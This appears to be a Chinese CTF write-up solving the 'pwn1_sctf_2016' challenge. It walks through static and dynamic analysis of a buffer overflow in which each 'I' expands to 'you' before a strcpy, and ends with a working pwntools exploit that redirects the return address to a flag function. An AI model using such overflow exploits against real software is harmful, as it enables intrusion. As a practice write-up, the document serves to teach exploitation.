一、查看属性
首先还是必要的查看属性环节:
可以知道该文件是一个x86架构下的32位小段ELF程序
我们可以先执行一下看看:
二、静态分析
扔到IDA中看一下,主函数没什么用,这里的vuln函数是必进的,我们进去看看vuln函数
这个函数整体分析下来,我也看不太明白是干啥,看到了fgets函数,但是限制了输入长度,洞肯定不在这里,后面又看到了“I”和“you”和一个replace函数,和最后的strcpy函数基本能猜到怎么利用了
我们猜测他会把“I”变成“you”,我们跑一下看看确实是这样
接下来,我们静态找找有没有给可以利用的函数:
获取其地址0x8048f0d
同时在当前目录下写一个flag.txt
三、动态分析
我们把断点打在vlun函数里:
单步到fgets函数随便输入几个“I”,之后一直步过到strcpy函数
步过之后我们查看栈空间:
可以看到ret地址在0xffffd16c,而stacpy函数操作的局部变量在0xffffd12c
说明我们需要64个垃圾数据
四、漏洞利用
这里我们整理一下思路:
我们输入的其它字符只占一个字节,而我们输入的“I”经过replace函数后会变成“you”也就是放大了三倍,我们的输入只有31个字节,而我们需要64位的填充数据
综上,可列出方程组如下:
这里的x是“I”的个数,y是“a”(其它字符)的个数,4是我们的溢出地址32位程序是4字节
解得x>=18.5,所以我们取x=19,也就是19个“I”和64 - 19*3=7个“a”
所以我们可以得到我们的exp:
from pwn import *
io = process('./pwn1_sctf_2016')
flag_addre = 0x08048F0D
payload = 'I' * 19 + 'a' * 7 + p32(flag_addre)
io.sendline(payload)
io.interactive()
成功!!!